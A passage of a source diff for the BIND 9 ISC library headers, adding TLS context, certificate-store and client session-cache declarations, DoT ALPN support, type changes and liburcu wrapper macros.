@@ -50,6 +65,101 @@ isc_tlsctx_createclient(isc_tlsctx_t **ctxp);
  *\li	'ctxp' != NULL and '*ctxp' == NULL.
  */
 
+isc_result_t
+isc_tlsctx_load_certificate(isc_tlsctx_t *ctx, const char *keyfile,
+			    const char *certfile);
+/*%<
+ * Load a TLS certificate into a TLS context.
+ *
+ * Requires:
+ *\li	'ctx' != NULL;
+ *\li	'keyfile' and 'certfile' are both non-NULL.
+ */
+
+typedef enum isc_tls_protocol_version {
+	/* these must be the powers of two */
+	ISC_TLS_PROTO_VER_1_2 = 1 << 0,
+	ISC_TLS_PROTO_VER_1_3 = 1 << 1,
+	ISC_TLS_PROTO_VER_UNDEFINED,
+} isc_tls_protocol_version_t;
+
+void
+isc_tlsctx_set_protocols(isc_tlsctx_t *ctx, const uint32_t tls_versions);
+/*%<
+ * Sets the supported TLS protocol versions via the 'tls_versions' bit
+ * set argument (see `isc_tls_protocol_version_t` enum for the
+ * expected values).
+ *
+ * Requires:
+ *\li	'ctx' != NULL;
+ *\li	'tls_versions' != 0.
+ */
+
+bool
+isc_tls_protocol_supported(const isc_tls_protocol_version_t tls_ver);
+/*%<
+ * Check in runtime that the specified TLS protocol versions is supported.
+ */
+
+isc_tls_protocol_version_t
+isc_tls_protocol_name_to_version(const char *name);
+/*%<
+ * Convert the protocol version string into the version of
+ * 'isc_tls_protocol_version_t' type.
+ * Requires:
+ *\li	'name' != NULL.
+ */
+
+bool
+isc_tlsctx_load_dhparams(isc_tlsctx_t *ctx, const char *dhparams_file);
+/*%<
+ * Load Diffie-Hellman parameters file and apply it to the given TLS context
+ * 'ctx'.
+ *
+ * Requires:
+ * \li	'ctx' != NULL;
+ * \li	'dhaprams_file' a valid pointer to a non empty string.
+ */
+
+bool
+isc_tls_cipherlist_valid(const char *cipherlist);
+/*%<
+ * Check if cipher list string is valid.
+ *
+ * Requires:
+ * \li	'cipherlist' a valid pointer to a non empty string.
+ */
+
+void
+isc_tlsctx_set_cipherlist(isc_tlsctx_t *ctx, const char *cipherlist);
+/*%<
+ * Set cipher list string for on the given TLS context 'ctx'.
+ *
+ * Requires:
+ * \li	'ctx' != NULL;
+ * \li	'cipherlist' a valid pointer to a non empty string.
+ */
+
+void
+isc_tlsctx_prefer_server_ciphers(isc_tlsctx_t *ctx, const bool prefer);
+/*%<
+ * Make the given TLS context 'ctx' to prefer or to not prefer
+ * server side ciphers during the ciphers negotiation.
+ *
+ * Requires:
+ * \li	'ctx' != NULL.
+ */
+
+void
+isc_tlsctx_session_tickets(isc_tlsctx_t *ctx, const bool use);
+/*%<
+ * Enable/Disable stateless session resumptions tickets on the given
+ * TLS context 'ctx' (see RFC5077).
+ *
+ * Requires:
+ * \li	'ctx' != NULL.
+ */
+
 isc_tls_t *
 isc_tls_create(isc_tlsctx_t *ctx);
 /*%<
@@ -68,18 +178,422 @@ isc_tls_free(isc_tls_t **tlsp);
  *\li	'tlsp' != NULL and '*tlsp' != NULL.
  */
 
+const char *
+isc_tls_verify_peer_result_string(isc_tls_t *tls);
+/*%<
+ * Return a user readable description of a remote peer's certificate
+ * validation.
+ *
+ * Requires:
+ *\li	'tls' != NULL.
+ */
+
+#if HAVE_LIBNGHTTP2
 void
 isc_tlsctx_enable_http2client_alpn(isc_tlsctx_t *ctx);
 void
 isc_tlsctx_enable_http2server_alpn(isc_tlsctx_t *ctx);
 /*%<
- *
  * Enable HTTP/2 Application Layer Protocol Negotation for 'ctx'.
  *
  * Requires:
  *\li	'ctx' is not NULL.
  */
+#endif /* HAVE_LIBNGHTTP2 */
+
+void
+isc_tls_get_selected_alpn(isc_tls_t *tls, const unsigned char **alpn,
+			  unsigned int *alpnlen);
+
+#define ISC_TLS_DOT_PROTO_ALPN_ID     "dot"
+#define ISC_TLS_DOT_PROTO_ALPN_ID_LEN 3
+
+void
+isc_tlsctx_enable_dot_client_alpn(isc_tlsctx_t *ctx);
+void
+isc_tlsctx_enable_dot_server_alpn(isc_tlsctx_t *ctx);
+/*%<
+ * Enable DoT Application Layer Protocol Negotation for 'ctx'.
+ *
+ * Requires:
+ *\li	'ctx' is not NULL.
+ */
+
+isc_result_t
+isc_tlsctx_enable_peer_verification(isc_tlsctx_t *ctx, const bool is_server,
+				    isc_tls_cert_store_t *store,
+				    const char		 *hostname,
+				    bool hostname_ignore_subject);
+/*%<
+ * Enable peer certificate and, optionally, hostname (for client contexts)
+ * verification.
+ *
+ * Requires:
+ *\li	'ctx' is not NULL;
+ *\li	'store' is not NULL.
+ */
+
+isc_result_t
+isc_tlsctx_load_client_ca_names(isc_tlsctx_t *ctx, const char *ca_bundle_file);
+/*%<
+ * Load the list of CA-certificate names from a CA-bundle file to
+ * send by the server to a client when requesting a peer certificate.
+ * Usually used in conjunction with
+ * isc_tlsctx_enable_peer_validation().
+ *
+ * Requires:
+ *\li	'ctx' is not NULL;
+ *\li	'ca_bundle_file' is not NULL.
+ */
+
+isc_result_t
+isc_tls_cert_store_create(const char		*ca_bundle_filename,
+			  isc_tls_cert_store_t **pstore);
+/*%<
+ * Create X509 certificate store. The 'ca_bundle_filename' might be
+ * 'NULL' or an empty string, which means use the default system wide
+ * bundle/directory.
+ *
+ * Requires:
+ *\li	'pstore' is a valid pointer to a pointer containing 'NULL'.
+ */
+
+void
+isc_tls_cert_store_free(isc_tls_cert_store_t **pstore);
+/*%<
+ * Free X509 certificate store.
+ *
+ * Requires:
+ *\li	'pstore' is a valid pointer to a pointer containing a non-'NULL' value.
+ */
+
+typedef struct isc_tlsctx_client_session_cache isc_tlsctx_client_session_cache_t;
+/*%<
+ * TLS client session cache is an object which allows efficient
+ * storing and retrieval of previously saved TLS sessions so that they
+ * can be resumed. This object is supposed to be a foundation for
+ * implementing TLS session resumption - a standard technique to
+ * reduce the cost of re-establishing a connection to the remote
+ * server endpoint.
+ *
+ * OpenSSL does server-side TLS session caching transparently by
+ * default. However, on the client-side, a TLS session to resume must
+ * be manually specified when establishing the TLS connection. The TLS
+ * client session cache is precisely the foundation for that.
+ *
+ * The cache has been designed to have the following characteristics:
+ *
+ * - Fixed maximal number of entries to not keep too many obsolete
+ * sessions within the cache;
+ *
+ * - The cache is indexed by character string keys. Each string is a
+ * key representing a remote endpoint (unique remote endpoint name,
+ * e.g. combination of the remote IP address and port);
+ *
+ * - Least Recently Used (LRU) cache replacement policy while allowing
+ * easy removal of obsolete entries;
+ *
+ * - Ability to store multiple TLS sessions associated with the given
+ * key (remote endpoint name). This characteristic is important if
+ * multiple connections to the same remote server can be established;
+ *
+ * - Ability to efficiently retrieve the most recent TLS sessions
+ * associated with the key (remote endpoint name).
+ *
+ * Because of these characteristics, the cache will end up having the
+ * necessary amount of resumable TLS session parameters to the most
+ * used remote endpoints ("hot entries") after a short period of
+ * initial use ("warmup").
+ *
+ * Attempting to resume TLS sessions is an optimisation, which is not
+ * guaranteed to succeed because it requires the same session to be
+ * present in the server session caches. If it is not the case, the
+ * usual handshake procedure takes place. However, when session
+ * resumption is successful, it reduces the amount of the
+ * computational resources required as well as the amount of data to
+ * be transmitted when (re)establishing the connection. Also, it
+ * reduces round trip time (by reducing the number of packets to
+ * transmit).
+ *
+ * This optimisation is important in the context of DNS because the
+ * amount of data within the full handshake messages might be
+ * comparable to or surpass the size of a typical DNS message.
+ */
+
+void
+isc_tlsctx_client_session_cache_create(
+	isc_mem_t *mctx, isc_tlsctx_t *ctx, const size_t max_entries,
+	isc_tlsctx_client_session_cache_t **cachep);
+/*%<
+ * Create a new TLS client session cache object.
+ *
+ * Requires:
+ *\li	'mctx' is a valid memory context object;
+ *\li	'ctx' is a valid TLS context object;
+ *\li	'max_entries' is a positive number;
+ *\li	'cachep' is a valid pointer to a pointer which must be equal to NULL.
+ */
+
+void
+isc_tlsctx_client_session_cache_attach(
+	isc_tlsctx_client_session_cache_t  *source,
+	isc_tlsctx_client_session_cache_t **targetp);
+/*%<
+ * Create a reference to the TLS client session cache object.
+ *
+ * Requires:
+ *\li	'source' is a valid TLS client session cache object;
+ *\li	'targetp' is a valid pointer to a pointer which must equal NULL.
+ */
+
+void
+isc_tlsctx_client_session_cache_detach(
+	isc_tlsctx_client_session_cache_t **cachep);
+/*%<
+ * Remove a reference to the TLS client session cache object.
+ *
+ * Requires:
+ *\li	'cachep' is a pointer to a pointer to a valid TLS client session cache
+ *object.
+ */
+
+void
+isc_tlsctx_client_session_cache_keep(isc_tlsctx_client_session_cache_t *cache,
+				     char *remote_peer_name, isc_tls_t *tls);
+/*%<
+ * Add a resumable TLS client session within 'tls' to the TLS client
+ * session cache object 'cache' and associate it with
+ * 'remote_server_name' string. Also, the oldest entry from the cache
+ * might get removed if the cache is full.
+ *
+ * Requires:
+ *\li	'cache' is a pointer to a valid TLS client session cache object;
+ *\li	'remote_peer_name' is a pointer to a non empty character string;
+ *\li	'tls' is a valid, non-'NULL' pointer to a TLS connection state object.
+ */
+
+void
+isc_tlsctx_client_session_cache_keep_sockaddr(
+	isc_tlsctx_client_session_cache_t *cache, isc_sockaddr_t *remote_peer,
+	isc_tls_t *tls);
+/*%<
+ * The same as 'isc_tlsctx_client_session_cache_keep()', but uses a
+ * 'isc_sockaddr_t' as a key, instead of a character string.
+ *
+ * Requires:
+ *\li	'remote_peer' is a valid, non-'NULL', pointer to an 'isc_sockaddr_t'
+ *object.
+ */
+
+void
+isc_tlsctx_client_session_cache_reuse(isc_tlsctx_client_session_cache_t *cache,
+				      char *remote_server_name, isc_tls_t *tls);
+/*%
+ * Try to restore a previously stored TLS session denoted by a remote
+ * server name as a key ('remote_server_name') into the given TLS
+ * connection state object ('tls'). The successfully restored session
+ * gets removed from the cache.
+ *
+ * Requires:
+ *\li	'cache' is a pointer to a valid TLS client session cache object;
+ *\li	'remote_peer_name' is a pointer to a non empty character string;
+ *\li	'tls' is a valid, non-'NULL' pointer to a TLS connection state object.
+ */
+
+void
+isc_tlsctx_client_session_cache_reuse_sockaddr(
+	isc_tlsctx_client_session_cache_t *cache, isc_sockaddr_t *remote_peer,
+	isc_tls_t *tls);
+/*%<
+ * The same as 'isc_tlsctx_client_session_cache_reuse()', but uses a
+ * 'isc_sockaddr_t' as a key, instead of a character string.
+ *
+ * Requires:
+ *\li	'remote_peer' is a valid, non-'NULL' pointer to an 'isc_sockaddr_t'
+ *object.
+ */
+
+const isc_tlsctx_t *
+isc_tlsctx_client_session_cache_getctx(isc_tlsctx_client_session_cache_t *cache);
+/*%<
+ * Returns a TLS context associated with the given TLS client
+ * session cache object. The function is intended to be used to
+ * implement the sanity checks ('INSIST()'s and 'REQUIRE()'s).
+ *
+ * Requires:
+ *\li	'cache' is a pointer to a valid TLS client session cache object.
+ */
+
+#define ISC_TLSCTX_CLIENT_SESSION_CACHE_DEFAULT_SIZE (150)
+/*%<
+ * The default maximum size of a TLS client session cache. The value
+ * should be large enough to hold enough sessions to successfully
+ * re-establish connections to the most remote TLS servers, but not
+ * too big to avoid keeping too much obsolete sessions.
+ */
+
+typedef struct isc_tlsctx_cache isc_tlsctx_cache_t;
+/*%<
+ * The TLS context cache is an object which allows retrieving a
+ * previously created TLS context based on the following tuple:
+ *
+ * 1. The name of a TLS entry, as defined in the configuration file;
+ * 2. A transport type. Currently, only TLS (DoT) and HTTPS (DoH) are
+ *    supported;
+ * 3. An IP address family (AF_INET or AF_INET6).
+ *
+ * There are multiple uses for this object:
+ *
+ * First, it allows reuse of client-side contexts during zone transfers.
+ * That, in turn, allows use of session caches associated with these
+ * contexts, which enables TLS session resumption, making establishment
+ * of XoT connections faster and computationally cheaper.
+ *
+ * Second, it can be extended to be used as storage for TLS context related
+ * data, as defined in 'tls' statements in the configuration file (for
+ * example, CA-bundle intermediate certificate storage, client-side contexts
+ * with pre-loaded certificates in a case of Mutual TLS, etc). This will
+ * be used to implement Strict/Mutual TLS.
+ *
+ * Third, it avoids creating an excessive number of server-side TLS
+ * contexts, which might help to reduce the number of contexts
+ * created during server initialisation and reconfiguration.
+ */
+
+typedef enum {
+	isc_tlsctx_cache_none = 0,
+	isc_tlsctx_cache_tls,
+	isc_tlsctx_cache_https,
+	isc_tlsctx_cache_count
+} isc_tlsctx_cache_transport_t;
+/*%< TLS context cache transport type values. */
+
+void
+isc_tlsctx_cache_create(isc_mem_t *mctx, isc_tlsctx_cache_t **cachep);
+/*%<
+ * Create a new TLS context cache object.
+ *
+ * Requires:
+ *\li	'mctx' is a valid memory context;
+ *\li	'cachep' is a valid pointer to a pointer which must be equal to NULL.
+ */
+
+void
+isc_tlsctx_cache_attach(isc_tlsctx_cache_t  *source,
+			isc_tlsctx_cache_t **targetp);
+/*%<
+ * Create a reference to the TLS context cache object.
+ *
+ * Requires:
+ *\li	'source' is a valid TLS context cache object;
+ *\li	'targetp' is a valid pointer to a pointer which must equal NULL.
+ */
+
+void
+isc_tlsctx_cache_detach(isc_tlsctx_cache_t **cachep);
+/*%<
+ * Remove a reference to the TLS context cache object.
+ *
+ * Requires:
+ *\li	'cachep' is a pointer to a pointer to a valid TLS
+ *	 context cache object.
+ */
+
+isc_result_t
+isc_tlsctx_cache_add(
+	isc_tlsctx_cache_t *cache, const char *name,
+	const isc_tlsctx_cache_transport_t transport, const uint16_t family,
+	isc_tlsctx_t *ctx, isc_tls_cert_store_t *store,
+	isc_tlsctx_client_session_cache_t *client_sess_cache,
+	isc_tlsctx_t **pfound, isc_tls_cert_store_t **pfound_store,
+	isc_tlsctx_client_session_cache_t **pfound_client_sess_cache);
+/*%<
+ *
+ * Add a new TLS context and its associated data to the TLS context
+ * cache. 'pfound' is an optional pointer, which can be used to
+ * retrieve an already existing TLS context object in a case it
+ * exists.
+ *
+ * The passed certificates store object ('store') possession is
+ * transferred to the cache object in a case of success. In some cases
+ * it might be destroyed immediately upon the call completion.
+ *
+ * The possession of the passed TLS client session cache
+ * ('client_sess_cache') is also transferred to the cache object in a
+ * case of success.
+ *
+ * Requires:
+ *\li	'cache' is a valid pointer to a TLS context cache object;
+ *\li	'name' is a valid pointer to a non-empty string;
+ *\li	'transport' is a valid transport identifier (currently only
+ *       TLS/DoT and HTTPS/DoH are supported);
+ *\li	'family' - either 'AF_INET' or 'AF_INET6';
+ *\li   'ctx' - a valid pointer to a valid TLS context object;
+ *\li   'store' - a valid pointer to a valid TLS certificates store object or
+ *		'NULL';
+ *\li   'client_sess_cache' - a valid pointer to a valid TLS client sessions
+ *cache object or 'NULL.
+ *
+ * Returns:
+ *\li	#ISC_R_EXISTS - node of the same key already exists;
+ *\li	#ISC_R_SUCCESS - the new entry has been added successfully.
+ */
+
+isc_result_t
+isc_tlsctx_cache_find(
+	isc_tlsctx_cache_t *cache, const char *name,
+	const isc_tlsctx_cache_transport_t transport, const uint16_t family,
+	isc_tlsctx_t **pctx, isc_tls_cert_store_t **pstore,
+	isc_tlsctx_client_session_cache_t **pfound_client_sess_cache);
+/*%<
+ * Look up a TLS context and its associated data in the TLS context cache.
+ *
+ * Requires:
+ *\li	'cache' is a valid pointer to a TLS context cache object;
+ *\li	'name' is a valid pointer to a non empty string;
+ *\li	'transport' - a valid transport identifier (currently only
+ *       TLS/DoT and HTTPS/DoH are supported;
+ *\li	'family' - either 'AF_INET' or 'AF_INET6';
+ *\li   'pctx' - a valid pointer to a non-NULL pointer;
+ *\li   'pstore' - a valid pointer to a non-NULL pointer or 'NULL'.
+ *\li   'pfound_client_sess_cache' - a valid pointer to a non-NULL pointer or
+ *'NULL'.
+ *
+ * Returns:
+ *\li	#ISC_R_SUCCESS - the context has been found;
+ *\li	#ISC_R_NOTFOUND	- the context has not been found. In such a case,
+ *		'pstore' still might get initialised as there is one to many
+ *		relation between stores and contexts.
+ */
+
+void
+isc_tlsctx_set_random_session_id_context(isc_tlsctx_t *ctx);
+/*%<
+ * Set context within which session can be reused to a randomly
+ * generated value. This one is used for TLS session resumption using
+ * session IDs. See OpenSSL documentation for
+ * 'SSL_CTX_set_session_id_context()'.
+ *
+ * It might be worth noting that usually session ID contexts are kept
+ * static for an application and particular certificate
+ * combination. However, for the cases when exporting server side TLS
+ * session cache to/loading from external memory is not required, we
+ * might use random IDs just fine. See,
+ * e.g. 'ngx_ssl_session_id_context()' in NGINX for an example of how
+ * a session ID might be obtained.
+ *
+ * Requires:
+ *\li   'ctx' - a valid non-NULL pointer;
+ */
+
+void
+isc__tls_initialize(void);
+
+void
+isc__tls_shutdown(void);
+
+void
+isc__tls_setdestroycheck(bool check);
 
 void
-isc_tls_get_http2_alpn(isc_tls_t *tls, const unsigned char **alpn,
-		       unsigned int *alpnlen);
+isc__tls_setfatalmode(void);
diff --git a/lib/isc/include/isc/tm.h b/lib/isc/include/isc/tm.h
index 021389c1e7..58feec441f 100644
--- a/lib/isc/include/isc/tm.h
+++ b/lib/isc/include/isc/tm.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_TM_H
-#define ISC_TM_H 1
+#pragma once
 
 /*! \file isc/tm.h
  * Provides portable conversion routines for struct tm.
@@ -36,5 +37,3 @@ isc_tm_strptime(const char *buf, const char *fmt, struct tm *tm);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* ISC_TIMER_H */
diff --git a/lib/isc/include/isc/types.h b/lib/isc/include/isc/types.h
index 4581d0bc9d..09c5527b33 100644
--- a/lib/isc/include/isc/types.h
+++ b/lib/isc/include/isc/types.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,19 +11,18 @@
  * information regarding copyright ownership.
  */
 
-#ifndef ISC_TYPES_H
-#define ISC_TYPES_H 1
+#pragma once
 
-#include <isc/bind9.h>
+#include <isc/result.h>
 
 /*! \file isc/types.h
  * \brief
  * OS-specific types, from the OS-specific include directories.
  */
-#include <inttypes.h>
+#include <limits.h>
 #include <stdbool.h>
-
-#include <isc/offset.h>
+#include <stddef.h>
+#include <stdint.h>
 
 /*
  * XXXDCL This is just for ISC_LIST and ISC_LINK, but gets all of the other
@@ -31,23 +32,14 @@
 
 /* Core Types.  Alphabetized by defined type. */
 
-typedef struct isc_astack isc_astack_t;		 /*%< Array-based fast stack */
-typedef struct isc_appctx isc_appctx_t;		 /*%< Application context */
-typedef struct isc_buffer isc_buffer_t;		 /*%< Buffer */
-typedef ISC_LIST(isc_buffer_t) isc_bufferlist_t; /*%< Buffer List */
+typedef struct isc_buffer isc_buffer_t;			  /*%< Buffer */
+typedef ISC_LIST(isc_buffer_t) isc_bufferlist_t;	  /*%< Buffer List */
 typedef struct isc_constregion	   isc_constregion_t;	  /*%< Const region */
 typedef struct isc_consttextregion isc_consttextregion_t; /*%< Const Text Region
 							   */
 typedef struct isc_counter isc_counter_t;		  /*%< Counter */
-typedef int16_t		   isc_dscp_t;	       /*%< Diffserv code point */
-typedef struct isc_event   isc_event_t;	       /*%< Event */
-typedef ISC_LIST(isc_event_t) isc_eventlist_t; /*%< Event List */
-typedef unsigned int	isc_eventtype_t;       /*%< Event Type */
-typedef uint32_t	isc_fsaccess_t;	       /*%< FS Access */
-typedef struct isc_hash isc_hash_t;	       /*%< Hash */
-typedef struct isc_hp	isc_hp_t;	       /*%< Hazard
-						*   pointer */
-typedef struct isc_httpd isc_httpd_t;	       /*%< HTTP client */
+typedef struct isc_hash	   isc_hash_t;			  /*%< Hash */
+typedef struct isc_httpd   isc_httpd_t;			  /*%< HTTP client */
 typedef void(isc_httpdfree_t)(isc_buffer_t *, void *); /*%< HTTP free function
 							*/
 typedef struct isc_httpdmgr isc_httpdmgr_t;	       /*%< HTTP manager */
@@ -55,12 +47,13 @@ typedef struct isc_httpdurl isc_httpdurl_t;	       /*%< HTTP URL */
 typedef void(isc_httpdondestroy_t)(void *); /*%< Callback on destroying httpd */
 typedef struct isc_interface	 isc_interface_t;     /*%< Interface */
 typedef struct isc_interfaceiter isc_interfaceiter_t; /*%< Interface Iterator */
-typedef struct isc_interval	 isc_interval_t;      /*%< Interval */
 typedef struct isc_lex		 isc_lex_t;	      /*%< Lex */
 typedef struct isc_log		 isc_log_t;	      /*%< Log */
 typedef struct isc_logcategory	 isc_logcategory_t;   /*%< Log Category */
 typedef struct isc_logconfig	 isc_logconfig_t;     /*%< Log Configuration */
 typedef struct isc_logmodule	 isc_logmodule_t;     /*%< Log Module */
+typedef struct isc_loop		 isc_loop_t;	      /*%< Event loop */
+typedef struct isc_loopmgr	 isc_loopmgr_t;	      /*%< Event loop manager */
 typedef struct isc_mem		 isc_mem_t;	      /*%< Memory */
 typedef struct isc_mempool	 isc_mempool_t;	      /*%< Memory Pool */
 typedef struct isc_netaddr	 isc_netaddr_t;	      /*%< Net Address */
@@ -70,51 +63,26 @@ typedef struct isc_nmsocket	 isc_nmsocket_t; /*%< Network manager socket */
 typedef struct isc_nmhandle	 isc_nmhandle_t; /*%< Network manager handle */
 typedef struct isc_portset	 isc_portset_t;	 /*%< Port Set */
 typedef struct isc_quota	 isc_quota_t;	 /*%< Quota */
-typedef struct isc_ratelimiter	 isc_ratelimiter_t;   /*%< Rate Limiter */
-typedef struct isc_region	 isc_region_t;	      /*%< Region */
-typedef uint64_t		 isc_resourcevalue_t; /*%< Resource Value */
-typedef unsigned int		 isc_result_t;	      /*%< Result */
-typedef struct isc_rwlock	 isc_rwlock_t;	      /*%< Read Write Lock */
-typedef struct isc_sockaddr	 isc_sockaddr_t;      /*%< Socket Address */
-typedef ISC_LIST(isc_sockaddr_t) isc_sockaddrlist_t;  /*%< Socket Address List
-						       * */
-typedef struct isc_socket      isc_socket_t;	      /*%< Socket */
-typedef struct isc_socketevent isc_socketevent_t;     /*%< Socket Event */
-typedef struct isc_socketmgr   isc_socketmgr_t;	      /*%< Socket Manager */
-typedef struct isc_stats       isc_stats_t;	      /*%< Statistics */
-typedef int_fast64_t	       isc_statscounter_t;
-typedef struct isc_symtab      isc_symtab_t;	/*%< Symbol Table */
-typedef struct isc_task	       isc_task_t;	/*%< Task */
-typedef ISC_LIST(isc_task_t) isc_tasklist_t;	/*%< Task List */
-typedef struct isc_taskmgr    isc_taskmgr_t;	/*%< Task Manager */
+typedef struct isc_ratelimiter	 isc_ratelimiter_t;  /*%< Rate Limiter */
+typedef struct isc_region	 isc_region_t;	     /*%< Region */
+typedef struct isc_rlevent	 isc_rlevent_t;	     /*%< Rate Limiter Event */
+typedef struct isc_signal	 isc_signal_t;	     /*%< Signal handler */
+typedef struct isc_sockaddr	 isc_sockaddr_t;     /*%< Socket Address */
+typedef ISC_LIST(isc_sockaddr_t) isc_sockaddrlist_t; /*%< Socket Address List
+						      * */
+typedef struct isc_stats      isc_stats_t;	     /*%< Statistics */
+typedef int_fast64_t	      isc_statscounter_t;
+typedef struct isc_symtab     isc_symtab_t;	/*%< Symbol Table */
 typedef struct isc_textregion isc_textregion_t; /*%< Text Region */
 typedef struct isc_time	      isc_time_t;	/*%< Time */
 typedef struct isc_timer      isc_timer_t;	/*%< Timer */
-typedef struct isc_timermgr   isc_timermgr_t;	/*%< Timer Manager */
+typedef struct isc_work	      isc_work_t;	/*%< Work offloaded to an
+						 *   external thread */
 
-typedef void (*isc_taskaction_t)(isc_task_t *, isc_event_t *);
-typedef int (*isc_sockfdwatch_t)(isc_task_t *, isc_socket_t *, void *, int);
-
-/* The following cannot be listed alphabetically due to forward reference */
-typedef isc_result_t(isc_httpdaction_t)(
-	const char *url, isc_httpdurl_t *urlinfo, const char *querystring,
-	const char *headers, void *arg, unsigned int *retcode,
-	const char **retmsg, const char **mimetype, isc_buffer_t *body,
-	isc_httpdfree_t **freecb, void **freecb_args);
-typedef bool(isc_httpdclientok_t)(const isc_sockaddr_t *, void *);
-
-/*% Resource */
-typedef enum {
-	isc_resource_coresize = 1,
-	isc_resource_cputime,
-	isc_resource_datasize,
-	isc_resource_filesize,
-	isc_resource_lockedmemory,
-	isc_resource_openfiles,
-	isc_resource_processes,
-	isc_resource_residentsize,
-	isc_resource_stacksize
-} isc_resource_t;
+#if HAVE_LIBNGHTTP2
+typedef struct isc_nm_http_endpoints isc_nm_http_endpoints_t;
+/*%< HTTP endpoints set */
+#endif /* HAVE_LIBNGHTTP2 */
 
 /*% Statistics formats (text file or XML) */
 typedef enum {
@@ -123,4 +91,20 @@ typedef enum {
 	isc_statsformat_json
 } isc_statsformat_t;
 
-#endif /* ISC_TYPES_H */
+typedef enum isc_nmsocket_type {
+	isc_nm_nonesocket = 0,
+	isc_nm_udpsocket = 1 << 1,
+	isc_nm_tcpsocket = 1 << 2,
+	isc_nm_tlssocket = 1 << 3,
+	isc_nm_httpsocket = 1 << 4,
+	isc_nm_streamdnssocket = 1 << 5,
+	isc_nm_maxsocket,
+
+	isc_nm_udplistener, /* Aggregate of nm_udpsocks */
+	isc_nm_tcplistener,
+	isc_nm_tlslistener,
+	isc_nm_httplistener,
+	isc_nm_streamdnslistener
+} isc_nmsocket_type;
+
+typedef isc_nmsocket_type isc_nmsocket_type_t;
diff --git a/lib/isc/include/isc/urcu.h b/lib/isc/include/isc/urcu.h
new file mode 100644
index 0000000000..cf62934632
--- /dev/null
+++ b/lib/isc/include/isc/urcu.h
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+#include <isc/util.h>
+
+/* when urcu is not installed in a system header location */
+#pragma GCC diagnostic push
+#pragma GCC diagnostic ignored "-Wunused-parameter"
+
+#if defined(RCU_MEMBARRIER) || defined(RCU_MB) || defined(RCU_SIGNAL)
+#include <urcu.h>
+#elif defined(RCU_QSBR)
+#include <urcu-qsbr.h>
+#elif defined(RCU_BP)
+#include <urcu-bp.h>
+#endif
+
+#include <urcu-pointer.h>
+
+#include <urcu/compiler.h>
+#include <urcu/rculfhash.h>
+#include <urcu/rculist.h>
+#include <urcu/wfstack.h>
+
+#pragma GCC diagnostic pop
+
+#if defined(RCU_QSBR)
+
+/*
+ * Define wrappers that allows us to make the thread online without any extra
+ * heavy tooling around libuv callbacks.
+ */
+
+#define isc_qsbr_read_lock()                       \
+	{                                          \
+		if (!urcu_qsbr_read_ongoing()) {   \
+			urcu_qsbr_thread_online(); \
+		}                                  \
+		urcu_qsbr_read_lock();             \
+	}
+
+#undef rcu_read_lock
+#define rcu_read_lock() isc_qsbr_read_lock()
+
+#define isc_qsbr_call_rcu(rcu_head, func)           \
+	{                                           \
+		if (!urcu_qsbr_read_ongoing()) {    \
+			urcu_qsbr_thread_online();  \
+		}                                   \
+		urcu_qsbr_call_rcu(rcu_head, func); \
+	}
+
+#undef call_rcu
+#define call_rcu(rcu_head, func) isc_qsbr_call_rcu(rcu_head, func)
+
+#define isc_qsbr_synchronize_rcu()                 \
+	{                                          \
+		if (!urcu_qsbr_read_ongoing()) {   \
+			urcu_qsbr_thread_online(); \
+		}                                  \
+		urcu_qsbr_synchronize_rcu();       \
+	}
+
+#undef synchronize_rcu
+#define synchronize_rcu() isc_qsbr_synchronize_rcu()
+
+#define isc_qsbr_rcu_dereference(ptr)              \
+	({                                         \
+		if (!urcu_qsbr_read_ongoing()) {   \
+			urcu_qsbr_thread_online(); \
+		}                                  \
+		_rcu_dereference(ptr);             \
+	})
+
+#undef rcu_dereference
+#define rcu_dereference(ptr) isc_qsbr_rcu_dereference(ptr)
+
+#endif /* RCU_QSBR */
+
+/* clang-format off */
+/*
+ * Following definitions were copied from liburcu development branch to help
+ * with AddressSanitizer complaining about calling caa_container_of on NULL.
+ */
+
+#if !defined(caa_container_of_check_null)
+/*
+ * caa_container_of_check_null - Get the address of an object containing a field.
+ *
+ * @ptr: pointer to the field.
+ * @type: type of the object.
+ * @member: name of the field within the object.
+ *
+ * Return the address of the object containing the field. Return NULL if
+ * @ptr is NULL.
+ */
+#define caa_container_of_check_null(ptr, type, member)			\
+	__extension__							\
+	({								\
+		const __typeof__(((type *) NULL)->member) * __ptr = (ptr); \
+		(__ptr) ? (type *)((char *)__ptr - offsetof(type, member)) : NULL; \
+	})
+
+#define cds_lfht_entry(ptr, type, member)				\
+	caa_container_of_check_null(ptr, type, member)
+
+#undef cds_lfht_for_each_entry
+#define cds_lfht_for_each_entry(ht, iter, pos, member)			\
+	for (cds_lfht_first(ht, iter),					\
+			pos = cds_lfht_entry(cds_lfht_iter_get_node(iter), \
+				__typeof__(*(pos)), member);		\
+		pos != NULL;						\
+		cds_lfht_next(ht, iter),				\
+			pos = cds_lfht_entry(cds_lfht_iter_get_node(iter), \
+				__typeof__(*(pos)), member))
+
+#undef cds_lfht_for_each_entry_duplicate
+#define cds_lfht_for_each_entry_duplicate(ht, hash, match, key,		\
+				iter, pos, member)			\
+	for (cds_lfht_lookup(ht, hash, match, key, iter),		\
+			pos = cds_lfht_entry(cds_lfht_iter_get_node(iter), \
+				__typeof__(*(pos)), member);		\
+		pos != NULL;						\
+		cds_lfht_next_duplicate(ht, match, key, iter),		\
+			pos = cds_lfht_entry(cds_lfht_iter_get_node(iter), \
